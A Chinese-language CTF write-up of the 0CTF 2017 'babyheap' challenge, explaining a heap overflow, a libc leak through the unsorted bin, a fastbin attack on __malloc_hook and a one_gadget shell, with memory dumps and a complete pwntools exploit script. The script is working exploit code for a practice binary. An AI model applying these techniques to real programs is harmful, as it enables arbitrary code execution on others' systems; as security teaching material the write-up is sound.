堆利用实例—20170ctf babyheap

过段时间没有输入则会显示Alarm clock,与sub_B70有关(调用alarm,nop掉)。


共有5个选项。

Allocate:可以分配0-15,总共16个chunk,大小不固定,最大不超过4096。从指定内存,每3个qword检查,flag是否为0(证明该index还未使用),如果是就把相关数据记录在此,否则顺序往后移3个qword。

使用calloc分配内存,calloc在动态分配完内存后,自动初始化该内存空间为零,而malloc不初始化,里边数据是随机的垃圾数据。

分配完,flag=1,记录长度和地址。譬如

依次存储flag、大小、地址

000019E2F87FF280  01 00 00 00 00 00 00 00  00 01 0000 00 00 00 00

000019E2F87FF290  10 90 C7 AB 09 56 00 00  01 00 00 00 00 00 00 00

000019E2F87FF2A0  20 00 00 00 00 00 00 00  20 91C7 AB 09 56 00 00

Fill:输入index,填充数据前检查flag是否为1,如果flag=1,才有后续操作。输入长度和内容。(没有将输入长度与分配内存大小做比较,有可能输入的内容超过内存大小)

sub_11B2(0x00005609ABC79120,6)

{

         read(0,0x00005609ABC79120,6); 

}

Dump:先检查对应的flag是否为1

sub_130F(0x00005609ABC79120, 0x20)  //顶多输出整个chunk的内容,不会超边界读取

{

         write(1,0x00005609ABC79120, 0x20);

}

delete:检查flag是否为1?如果flag=1,则free地址,之后将存在数组里的flag,size,地址清零。

sub_B70:根据/dev/urandom算出一个地址,用此地址作为存储各chunk相关信息的数组起始地址。

总结:所有操作前都会检查flag是否为1,因此UAF就别想了。删除时也没有任何问题,仅在Fill时没有校验输入长度和chunk长度之间的关系,可以造成堆溢出。

使用checksec检查该程序的安全机制


安全机制全开了。

利用思路:

1、首先要泄露libc基址。可以利用unsortedbin的fd和bk指向自身main_arena+88,从而计算libc基址。

2、拿到libc基址后,利用Fill功能存在的堆溢出,修改chunk的fd,向malloc_hook前的某个位置分配chunk,从而修改malloc_hook值

3、往malloc_hook里填入one_gadget,并触发。这次不能像以前一样修改got表了,因为开了Full RELRO。所谓 one_gadget 就是一个实现了直接执行system(‘/bin/sh’)的程序跳板。常见的,可以使用one_gadget覆盖劫持got表、返回地址、hook(__malloc_hook、__free_hook)等等操作,也就是当可以劫持控制流后覆盖的捷径

具体过程,下面尽可能列出每个步骤的详细截图,方便像我一样的小白清楚流程:

1、首先创建4个chunk

allocate(0x48)#0  a010 51

allocate(0x40)#1  a060 51

allocate(0x40)#2  a0b0 51

allocate(0x40)#3  a100 51

数组存储各chunk信息

000024B519199E10  01 00 00 00 00 00 00 00  48 00 00 00 00 00 00 00

000024B519199E20  10 A0 E7 1C C7 55 00 00  01 00 00 00 00 00 00 00

000024B519199E30  40 00 00 00 00 00 00 00  60 A0 E7 1C C7 55 00 00

000024B519199E40  01 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00

000024B519199E50  B0 A0 E7 1C C7 55 00 00 01 00 00 00 00 00 00 00

000024B519199E60  40 00 00 00 00 00 00 00  00 A1 E7 1C C7 55 00 00


2、修改chunk1的头部,使得chunk1的size=0xA1

update(0,0x49,'\x00'*0x48 + '\xa1') 

修改前

000055C71CE7A000  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00

000055C71CE7A010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A050  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00


修改后

000055C71CE7A000  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00 

000055C71CE7A010  00 00 00 00 0000 00 00  00 00 00 00 00 00 00 00 

000055C71CE7A020  00 00 00 00 0000 00 00  00 00 00 00 00 00 00 00 

000055C71CE7A030  00 00 00 00 0000 00 00  00 00 00 00 00 00 00 00 

000055C71CE7A040  00 00 00 00 0000 00 00  00 00 00 00 00 00 00 00 

000055C71CE7A050  00 00 00 00 0000 00 00  A10000 00 00 00 00 00 


3、删除chunk1,让其放到unsorted

bin中

delete(1)  a060   #chunk1放入unsortedbin

问:为什么会放入unsortedbin?

回答:如果刚刚释放的空间大于max_fast=64B(此时chunk1的size被改成A1了),那么会首先放到unsorted

bin中(只有一个,且为bins[1]),在下一次内存分配时,如果无法从fastbins中分配空间,那么会首先在这里寻找空间。

删前

000055C71CE7A050  00 00 00 00 00 00 00 00  A1 00 00 00 00 00 00 00

000055C71CE7A060  00 00 00 0000 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A070  00 00 00 0000 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A080  00 00 00 0000 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A090  00 00 00 0000 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A0A0  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00

000055C71CE7A0B0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00


删除后

000055C71CE7A050  00 00 00 00 00 00 00 00  A1 00 00 00 00 00 00 00

000055C71CE7A060  B8 B7 EE 38 0A 7F 00 00  B8 B7 EE 38 0A 7F 00 00

000055C71CE7A070  00 00 00 0000 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A080  00 00 00 0000 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A090  00 00 00 0000 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A0A0  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00

000055C71CE7A0B0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00


4、申请大小为0x40的chunk,使得chunk2被移到unsortedbin

allocate(0x40)  a060  #chunk2in unsordtedbin but flag==1

:unsorted bin怎么从chunk1移动到了chunk2?

回答:如果unsortedbin中只有一个chunk,在分配时如果申请的nb大小比这个chunk小的话,会将这个chunk割一块刚好满足nb大小的小chunk出来给用户,然后将剩下的空间继续放在unsortedbin里,将其fd和bk都设置为unsortedbin地址。

000024B519199E10  01 00 00 00 00 00 00 00  48 00 00 00 00 00 00 00

000024B519199E20  10 A0 E7 1C C7 55 00 00  01 00 00 00 00 00 00 00

000024B519199E30  40 00 00 00 00 00 00 00  60 A0 E7 1C C7 55 00 00

000024B519199E40  01 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00

000024B519199E50  B0 A0 E7 1C C7 55 00 00  01 00 00 00 00 00 00 00

000024B519199E60  40 00 00 00 00 00 00 00  00 A1 E7 1C C7 55 00 00


000055C71CE7A050  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00

000055C71CE7A060  00 00 00 0000 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A070  00 00 00 0000 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A080  00 00 00 0000 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A090  00 00 00 0000 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A0A0  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00

000055C71CE7A0B0  B8 B7EE 38 0A 7F 00 00  B8 B7 EE 38 0A 7F 0000

000055C71CE7A0C0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

5、通过查看unsorted bin,泄露libc基址

view(2) a0b0

main_arena+88=0x7F0A38EEB7B8

libc_base=0x7F0A38EEB7B8-88-0x3c2760=0x7F0A38B29000

备注0x3c2760是通过查看libc.so中malloc_trim函数确定的。每个libc版本的数值都不同,需要具体分析得出。0x3c2760是在我的调试环境ubuntu 14.04 64bit中的libc-2.19.so确定的,而该程序所带的libc.so.6中应为0x3c4b20

6、创建chunk4

allocate(0x40)  a0b0 #4clear unsortedbin place 2

000024B519199E10  01 00 00 00 00 00 00 00  48 00 00 00 00 00 00 00

000024B519199E20  10 A0 E7 1C C7 55 00 00  01 00 00 00 00 00 00 00

000024B519199E30  40 00 00 00 00 00 00 00  60 A0 E7 1C C7 55 00 00

000024B519199E40  01 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00

000024B519199E50  B0 A0 E7 1C C7 55 00 00  01 00 00 00 00 00 00 00

000024B519199E60  40 00 00 00 00 00 00 00  00 A1 E7 1C C7 55 00 00

000024B519199E70  01 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00

000024B519199E80  B0 A0 E7 1C C7 55 00 00  00 00 00 00 00 0000 00


000055C71CE7A0A0  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00

000055C71CE7A0B0  00 00 00 0000 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A0C0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A0D0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A0E0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00


7、修改chunk4

update(4,0x40,'a'*0x40)   a0b0


000055C71CE7A0A0  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00

000055C71CE7A0B0  61 61 61 6161 61 61 61  61 61 61 61 61 61 61 61

000055C71CE7A0C0  61 61 61 61 6161 61 61  61 61 61 61 61 61 61 61

000055C71CE7A0D0  61 61 61 6161 61 61 61  61 61 61 61 61 61 61 61

000055C71CE7A0E0  61 61 61 6161 61 61 61  61 61 61 61 61 61 61 61

000055C71CE7A0F0  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00

000055C71CE7A100  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00


8、修改chunk2,即为chunk4

update(2,0x10,'b'*0x10)  a0b0


000055C71CE7A0A0  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00

000055C71CE7A0B0  62 62 62 6262 62 62 62  62 62 62 62 62 62 62 62

000055C71CE7A0C0  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61

000055C71CE7A0D0  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61

000055C71CE7A0E0  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61

000055C71CE7A0F0  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00

000055C71CE7A100  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00


9、创建chunk5

allocate(0x60)#5  a150

000024B519199E10  01 00 00 00 00 00 00 00  48 00 00 00 00 00 00 00

000024B519199E20  10 A0 E7 1C C7 55 00 00  01 00 00 00 00 00 00 00

000024B519199E30  40 00 00 00 00 00 00 00  60 A0 E7 1C C7 55 00 00

000024B519199E40  01 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00

000024B519199E50  B0 A0 E7 1C C7 55 00 00  01 00 00 00 00 00 00 00

000024B519199E60  40 00 00 00 00 00 00 00  00 A1 E7 1C C7 55 00 00

000024B519199E70  01 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00

000024B519199E80  B0 A0 E7 1C C7 55 00 00  01 0000 00 00 00 00 00

000024B519199E90  60 00 00 00 00 00 00 00  50 A1 E7 1C C7 55 00 00


000055C71CE7A140  00 00 00 00 00 00 00 00  71 00 00 00 00 00 00 00

000055C71CE7A150  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A160  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A170  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A180  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A190  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A1A0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00


10、删除chunk5,使得fastbin指向chunk5

delete(5)   a150  # after delete, fastbins=chunk5


000024B519199E10  01 00 00 00 00 00 00 00  48 00 00 00 00 00 00 00

000024B519199E20  10 A0 E7 1C C7 55 00 00  01 00 00 00 00 00 00 00

000024B519199E30  40 00 00 00 00 00 00 00  60 A0 E7 1C C7 55 00 00

000024B519199E40  01 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00

000024B519199E50  B0 A0 E7 1C C7 55 00 00  01 00 00 00 00 00 00 00

000024B519199E60  40 00 00 00 00 00 00 00  00 A1 E7 1C C7 55 00 00

000024B519199E70  01 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00

000024B519199E80  B0 A0 E7 1C C7 55 00 00  00 00 00 00 00 00 00 00

000024B519199E90  00 00 00 0000 00 00 00  00 00 00 00 00 00 00 00


11、选取合适的地址作为fake_chunk,修改chunk3的fd,使其指向fake_chunk

fake_chunk = leak_addr - 88 - 0x2b- 8=0x7F0A38EEB7B8-88-0x2b-8=7F0A38EEB72D

payload = 'a'*0x40 + p64(0) + p64(0x70) +p64(fake_chunk)

update(3,len(payload),payload)   a100


为啥选择7F0A38EEB72D 作为fake_chunk?fastbin attack时候对要修改的fd是有要求的,不能随便取。

答复:因为0x7F0A38EEB72D+8为chunk的size字段所在的值,刚好此地值得数值为0x7f,我们需要在malloc_hook向上寻找是否可以错位出一个合法的 size 域。因为 0x7f 在计算 fastbin index 时,是属于 index 5 的,即 chunk 大小为 0x70 的。

为什么一定要选取chunk为70的?

答复:因为前面delete(5)就将chunk5放入了fastbins 0x70中。因此我们需要在malloc_hook上找出符合条件的size(0x70)。这样通过fastbin的fd指针将chunk5与fake_chunk通过单链表连接起来。

字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。

         这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。

原理:fd只要其size域是否属于该chunk就可以通过malloc检查。因此只要想写入的地址附近有属于该fastbin的size就可以让malloc分配到该位置。

如此选择一个合适的地址设为A,则chunk起始地址为A-8(pre size),usrdata(fd指针与之同体)部分为A+8,且上一个fd指向地址为A-8。

构造的xx大小-0x10,为malloc的参数,即返回的usrdata大小。


修改后,fd指向了7F0A38EEB72D

000055C71CE7A0F0  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00

000055C71CE7A100  61 61 61 6161 61 61 61  61 61 61 61 61 61 61 61

000055C71CE7A110  61 61 61 6161 61 61 61  61 61 61 61 61 61 61 61

000055C71CE7A120  61 61 61 6161 61 61 61  61 61 61 61 61 61 61 61

000055C71CE7A130  61 61 61 6161 61 61 61  61 61 61 61 61 61 61 61

000055C71CE7A140  00 00 00 0000 00 00 00  70 00 00 00 00 00 00 00

000055C71CE7A150  2D B7 EE 38 0A 7F 00 00  00 00 00 00 00 00 00 00


12、创建chunk,分配之前删除chunk5的地址

allocate(0x60) a150   #5


000024B519199E10  01 00 00 00 00 00 00 00  48 00 00 00 00 00 00 00

000024B519199E20  10 A0 E7 1C C7 55 00 00  01 00 00 00 00 00 00 00

000024B519199E30  40 00 00 00 00 00 00 00  60 A0 E7 1C C7 55 00 00

000024B519199E40  01 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00

000024B519199E50  B0 A0 E7 1C C7 55 00 00  01 00 00 00 00 00 00 00

000024B519199E60  40 00 00 00 00 00 00 00  00 A1 E7 1C C7 55 00 00

000024B519199E70  01 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00

000024B519199E80  B0 A0 E7 1C C7 55 00 00  01 00 00 00 00 00 00 00

000024B519199E90  60 00 00 0000 00 00 00  50 A1 E7 1C C7 55 00 00


000055C71CE7A140  00 00 00 00 00 00 00 00  70 00 00 00 00 00 00 00

000055C71CE7A150  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

000055C71CE7A160  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A170  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A180  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A190  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

000055C71CE7A1A0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00


13、创建chunk6,分配地址为之前伪造的fake_chunk+0x10=00007F0A38EEB73D

allocate(0x60)  #6 fake_chunk


000024B519199E10  01 00 00 00 00 00 00 00  48 00 00 00 00 00 00 00

000024B519199E20  10 A0 E7 1C C7 55 00 00  01 00 00 00 00 00 00 00

000024B519199E30  40 00 00 00 00 00 00 00  60 A0 E7 1C C7 55 00 00

000024B519199E40  01 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00

000024B519199E50  B0 A0 E7 1C C7 55 00 00  01 00 00 00 00 00 00 00

000024B519199E60  40 00 00 00 00 00 00 00  00 A1 E7 1C C7 55 00 00

000024B519199E70  01 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00

000024B519199E80  B0 A0 E7 1C C7 55 00 00  01 00 00 00 00 00 00 00

000024B519199E90  60 00 00 00 00 00 00 00  50 A1 E7 1C C7 55 00 00

000024B519199EA0  01 00 00 0000 00 00 00  60 00 00 00 00 00 00 00

000024B519199EB0  3D B7 EE 380A 7F 00 00  0000 00 00 00 00 00 00


14、修改chunk6,使得修改后__malloc_hook填充one_gadget地址

update(6,0x3+8,'c'*0x3+p64(one_gadget))  //修改后__malloc_hook填充了one_gadget地址


00007F0A38EEB73D位于__malloc_hook前3个字节的位置

libc_2.19.so:00007F0A38EEB73Ddb    0

libc_2.19.so:00007F0A38EEB73E db    0

libc_2.19.so:00007F0A38EEB73F db    0

libc_2.19.so:00007F0A38EEB740__malloc_hook db    0

libc_2.19.so:00007F0A38EEB741 db    0

libc_2.19.so:00007F0A38EEB742 db    0

libc_2.19.so:00007F0A38EEB743 db    0

libc_2.19.so:00007F0A38EEB744 db    0

libc_2.19.so:00007F0A38EEB745 db    0

运行one_gadget,列出了4个可用地址。这里我们选取0x4647c


one_gadget =libc_base +0x4647c=0x7F0A38B29000+0x4647c=7F0A38B6F47C


修改后,__malloc_hook填充了one_gadget地址7F0A38B6F47C

00007F0A38EEB730  60 CF BA 38 0A 7F 00 00  00 00 00 00 0063 63 63

00007F0A38EEB740  7C F4 B6 380A 7F 00 00  0000 00 00 00 00 00 00


15、在调用calloc时会调用malloc_hook中的函数地址7F0A38B6F47C,即为执行了execve("/bin/sh",rsp+0x30, environ)

alloc(10)


完整exp

from pwn import *

context.log_level='debug'

cn = process('./babyheap')

elf = ELF('./babyheap')

libc = ELF('./libc.so.6')


sl      = lambda data               :cn.sendline(str(data))

r       = lambda numb=4096          :cn.recv(numb)

ru      = lambda delims             :cn.recvuntil(delims)

irt     = lambda                    :cn.interactive()

uu64    = lambda data               :u64(data.ljust(8, '\0'))


def allocate(size):

    ru('Command: ')

    sl(1)

    ru('Size: ')

    sl(size)


def update(index,size,content):

    ru('Command: ')

    sl(2)

    ru('Index: ')

    sl(index)

    ru('Size: ')

    sl(size)

    ru('Content: ')

    sl(content)


def delete(index):

    ru('Command: ')

    sl(3)

    ru('Index: ')

    sl(index)


def view(index):

    ru('Command: ')

    sl(4)

    ru('Index: ')

    sl(index)


allocate(0x48)#0

allocate(0x40)#1

allocate(0x40)#2

allocate(0x40)#3


update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size

delete(1)  # chunk1 inunsortedbin

raw_input('delete chunk1')

gdb.attach(cn)

allocate(0x40)#chunk2 in unsordtedbin but flag==1

raw_input('create chunk1, chunk2 in unsortedbin')

gdb.attach(cn)

view(2)

ru('Content: \n')

leak_addr = uu64(r(6))

success('leak_addr:'+hex(leak_addr))

libc_base = leak_addr - 88-0x3c4b20

success('libc_base:'+hex(libc_base))

allocate(0x40)#4 clear unsortedbin place 2

update(4,0x40,'a'*0x40)

update(2,0x10,'b'*0x10)

#trim malloc_hook

allocate(0x60)#5

delete(5)   # after delete,fastbins=chunk5

raw_input('delete chunk5')

gdb.attach(cn)

fake_chunk = leak_addr - 88 - 0x2b- 8

payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk)

update(3,len(payload),payload)

allocate(0x60)#5 after created, fastbins changed to fake_chunk

raw_input('create chunk5')

gdb.attach(cn)   

allocate(0x60) #6

one_gadget = libc_base + 0x4526a

success('one_gadget:'+hex(one_gadget))

update(6,0x13+8,'c'*0x13+p64(one_gadget))

raw_input('update chunk6 to one_gadget')

allocate(0x10)

'''

one_gadget libc.so.6

0x45216

0x4526a

0xf02a4

0xf1147

'''

irt()


本篇参考了下列文章

https://bbs.pediy.com/thread-247381.htm

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,560评论 4 361
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,104评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,297评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,869评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,275评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,563评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,833评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,543评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,245评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,512评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,011评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,359评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,006评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,062评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,825评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,590评论 2 273
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,501评论 2 268

推荐阅读更多精彩内容